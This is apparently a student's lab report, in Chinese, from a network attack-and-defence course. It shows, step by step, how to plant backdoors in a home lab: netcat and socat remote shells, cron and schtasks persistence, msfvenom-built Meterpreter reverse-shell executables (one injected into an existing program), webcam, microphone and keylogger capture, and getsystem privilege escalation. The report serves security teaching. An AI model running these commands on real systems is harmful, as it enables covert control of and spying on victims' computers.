20222411 2024-2025-1 《网络与系统攻防技术》实验二实验报告

1.实验内容

1.1 实践目标

(1)使用netcat获取主机操作Shell,cron启动某项任务(任务自定)

PS:cron是linux下用来周期性的执行某种任务或等待处理某些事件的一个守护进程

(2)使用socat获取主机操作Shell, 任务计划启动

(3)使用MSF meterpreter(或其他软件)生成可执行文件(后门),利用ncat或socat传送到主机并运行获取主机Shell

(4)使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容的后门,并尝试提权

(5)使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell。

1.2 回答问题

(1)例举你能想到的一个后门进入到你系统中的可能方式?

在不正规的渠道下载原本需要花钱的破解版软件,后门捆绑在软件中进入我的系统。

(2)例举你知道的后门如何启动起来(win及linux)的方式?

Linux中:

通过cron将后门设置为定时启动,通过反弹式连接到客户端,然后恶意控制启动后门;

Windows中:

攻击者将后门捆绑植入到各种正常的文件、程序中,我们打开这些文件程序时,后门就被启动了。

(3)Meterpreter有哪些给你映像深刻的功能?

meterpreter可以将shellcode捆绑在某个软件上,这样给受害者带来极大迷惑性,防不胜防。

(4)如何发现自己有系统有没有被安装后门?

使用Windows defender、火绒、360等防护软件进行扫描查杀。

1.3 本周学习内容

(1)后门概念

后门就是不经过正常认证流程而访问系统的通道。

(2)后门案例

苹果xcode被植入恶意代码(供应链攻击)、CCleaner、阿里云发现Log4j 2 核弹级漏洞

(3)后门技术

管控功能实现技术、自启动技术、进程隐藏技术、数据穿透与躲避技术

2.实验过程

2.1 使用netcat获取主机操作Shell,cron启动

(1)查看主机的ip

在windows主机上下载ncat程序,链接为 https://gitee.com/wildlinux/NetSec/attach_files

打开cmd,输入ipconfig指令查看主机的IP地址:

(2)使用netcat进行连接并获取shell

虚拟机登入root用户,主机cmd进入ncat所在目录。

Win主机输入指令:.\ncat.exe -l -p 8888

Linux虚机输入指令:nc 172.16.178.66 8888 -e /bin/sh(ip地址为主机的ip地址,-e是指定连接后运行的程序,/bin/sh就是shell。)

win主机的cmd中输入ls,正常显示虚拟机下文件名,主机已成功获取虚拟机shell。

(3)通过设置cron使得kali启动定时任务。

进入虚拟机的root账户,输入crontab -e (执行文字编辑器来设定时程表)

选择2:/usr/bin/vim.basic;

输入后进入文字编辑器,输入i进入插入模式,输入指令30 * * * * /bin/netcat 172.16.178.66 8888 -e /bin/sh (输入自己主机的IP地址,在每小时的第30分钟启动任务)

编辑好输入:wq,保存并退出文字编辑器

输入crontab -l查看时程表:

同时在Linux主机中的/var/spool/cron/crontabs文件中会出现一个root文件。

现在回到Windows主机的cmd中进行操作,Win主机输入指令:ncat.exe -l -p 8888,Linux虚机输入指令:nc 172.16.178.66 8888 -e /bin/sh,还是一样与Linux建立连接之后,输入sudo su,切换到root模式,输入:

echo "* * * * * echo "20222411" > /home/kali/2411_1.txt" > /var/spool/cron/crontabs/root

(每分钟定时执行一次,用“20222411”覆盖文件2411_1.txt)

crontab -l (检查时程表)

进入Linux虚拟机进入对应路径检查2411_1.txt文件,发现修改成功。

2.2 使用socat获取主机操作Shell, 任务计划启动

windows主机:下载socat,cmd进入socat文件夹,输入命令:

socat.exe tcp-listen:8888 exec:cmd.exe,pty,stderr

(把cmd.exe绑定到端口8888,并把cmd.exe的stderr重定向到stdout)

Linux虚拟机:进入root用户,输入命令:

socat - tcp:172.16.178.66:8888

成功调用主机shell

回到主机,我们需要事先准备一个程序以供运行,代码如下

#include <stdio.h>
#include <stdlib.h>

int main()
{
    FILE *file = fopen("kcr.txt","w");
    char *str = "20222411";
    if(file == NULL)
    {
        printf("Error opening file\n");
        return 1;
    }
    fprintf(file,"%s",str);
    fclose(file);
    return 0;
}

文件路径如下:

在Linux上启用Windows的程序,通过命令行创建任务计划,在shell里输入命令:

schtasks /create /sc minute /mo 1 /tn "20222411kcr" /tr D:\kcr\20222411.exe

(每一分钟执行一次我写的这个程序:)

回到windows主机,打开计算机管理,看到正在运行的任务名“20222411kcr”,说明实验成功。

2.3 在Linux下使用MSF meterpreter生成可执行文件,利用ncat或socat传送到Windows主机并运行获取主机shell

保证windows的实时保护处于关闭状态,同时关闭防火墙进行实验。


(1)生成后门文件

首先在kali中输入ifconfig,获得虚拟机的IP地址:

虚拟机的IP地址是192.168.222.129

继续中输入以下命令:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.222.129 LPORT=8888 -f exe > 2411backdoor.exe

(使用msfvenom 工具生成一个反向 TCP Meterpreter shell 的 payload,并将其保存到一个exe文件中。)

LHOST=192.168.222.129是shell 连接的主机 IP 地址,在本实验中是虚拟机的IP地址;

LPORT=8888是攻击者的系统上监听的端口号;

-f exe指定了生成的 payload 的格式,这里是exe;

2411backdoor.exe即生成的恶意可执行文件

(2)将后门文件传输至目标主机

主机进入ncat所在目录下,输入指令:

ncat.exe -lv 8888 > "D:\2411backdoor.exe"

(监听8888窗口等待接收可执行文件2411backdoor.exe,并将2411backdoor.exe文件存放在D盘上)

虚拟机上输入指令:

nc 172.16.178.66 8888 < 2411backdoor.exe

(将生成的后门文件2411backdoor.exe传给主机)

Win主机接收到后门文件2411backdoor.exe,成功在D盘找到文件


(3)配置监听模块

回到虚拟机,在Kali终端输入命令msfconsole,然后对监听模块进行配置:

use exploit/multi/handler(使用监听模块,设置payload)
set payload windows/meterpreter/reverse_tcp (使用和生成后门程序时相同的payload)
set LHOST 192.168.222.129 (攻击机的IP地址,和生成后门程序时指定的IP相同)
set LPORT 8888(监听的端口)

接着输入exploit,使监听模块开始运行,并在Windows终端运行后门2411backdoor.exe文件


返回检查虚拟机,输入ls查看windows主机目录,确认已经连接。

2.4 使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

(1)获取目标主机音频、截屏、摄像头、键盘记录

在exploit模块中继续输入以下命令:

record_mic   (音频)
screenshot   (截屏)
webcam_snap  (拍照)
keyscan_start  (开始读取键盘记录)
keyscan_dump  (读取键盘记录结束)

音频截屏和拍照被保存在root文档中,键盘记录的字符串将直接显示在命令栏上

屏幕截图如下:


(2)提权

在exploit模块中继续输入:

getuid    (查看当前用户)
getsystem  (提权指令)

发现提权失败,因为没有使用管理员身份运行cmd

使用管理员身份运行cmd后,提权成功:

2.5使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell

在kali命令行下输入:

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.222.129 LPORT=8888 -x /mnt/hgfs/share/pwn1 -f elf > 20222411_pwn

(使用了msfvenom 工具生成一个 Meterpreter 反向 TCP shell的 payload,并将其注入到指定的可执行文件中,然后将结果输出到一个名为 20222411_pwn的文件中。)

-p linux/x86/meterpreter/reverse_tcp:指定要生成的 payload 类型。
LHOST=192.168.222.129:目标主机 IP 地址为 192.168.222.129,这里即虚拟机IP地址。
LPORT=8888:设置 Meterpreter shell 使用的本地端口号为 8888。
-x /mnt/hgfs/share/pwn1:指定一个可执行文件作为模板,生成的 payload 将会注入到该文件中。
-f elf:指定输出文件的格式为 ELF 格式,适用于 Linux 系统的可执行文件格式。

对生成的20222411_pwn文件赋予权限:

输入指令msfconsole,输入以下代码,重现监听过程:

use exploit/multi/handler 
set payload linux/x86/meterpreter/reverse_tcp
set LHOST 192.168.222.129
set LPORT 8888


打开另一个shell,运行生成的20222411_pwn文件(需要使用root权限)

回到第一个shell,输入ls确认连接,成功实现远程控制shell

3.问题及解决方案

  • 问题1:任务四中在exploit中输入getsystem无法提权,显示send timed out

  • 问题1解决方案:在主机中使用管理员身份运行cmd,然后后运行后门程序

  • 问题2:任务五中运行注入shellcode后的pwn文件——20222411_pwn后,显示zsh: segmentation fault

msfconsole控制台中显示如下

  • 问题2解决方案:排查后发现,对msf监听模块进行配置时,误将payload类型设置为windows

将payload类型设置为linux后,执行成功

  • 问题3:从虚拟机中传送后门文件到主机时会被Windows defender查杀

  • 问题3解决方法:关闭Windows防火墙和实时保护

4.学习感悟、思考等

这个实验让我学习到了后门的原理及具体实践,学会了ncat、socat、MSF meterpreter等工具的使用,让我体会到了后门的威力之大。后门的威力越大,它对我们网络安全的威胁也就越大。最初我体会到了当黑客的快感(虽然只是工具党),但是后来越想越后怕,后门的威力如此之大,假如我们随便下载及点击别人给我们的文件,很容易我们的计算机就被别人控制了。所以我们平时在网络上一定要小心行事,从正规渠道下载软件,不给不法分子可乘之机。

posted @ 2024-10-18 11:40  20222411康灿然  阅读(39)  评论(0编辑  收藏  举报